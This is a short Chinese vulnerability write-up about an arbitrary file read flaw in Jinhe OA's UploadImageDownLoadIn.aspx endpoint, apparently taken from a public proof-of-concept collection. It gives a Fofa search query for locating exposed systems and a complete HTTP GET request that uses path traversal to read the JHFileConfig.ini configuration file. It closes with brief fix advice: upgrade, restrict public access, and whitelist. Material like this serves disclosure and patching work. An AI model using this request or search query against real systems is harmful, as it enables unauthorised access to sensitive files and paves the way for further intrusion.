# 金和OA UploadImageDownLoadIn.aspx 任意文件读取

## 漏洞描述

金和OA UploadImageDownLoadIn.aspx 任意文件读取,攻击者可通过此漏洞获取敏感信息，从而为下一步攻击做准备。

## 漏洞复现

1. Fofa

app="金和网络-金和OA"



1. 界面如下



1. Poc

GET /c6/JHSoft.Web.CustomQuery/UploadImageDownLoadIn.aspx?FilePath=../Resource/JHFileConfig.ini HTTP/1.1

Host:

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0

Accept: image/avif,image/webp,\*/\*

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Connection: close

Content-Length: 4

## 修复建议

1. 升级到安全版本

2、如非必要，禁止公网访问该系统。

3、设置白名单访问。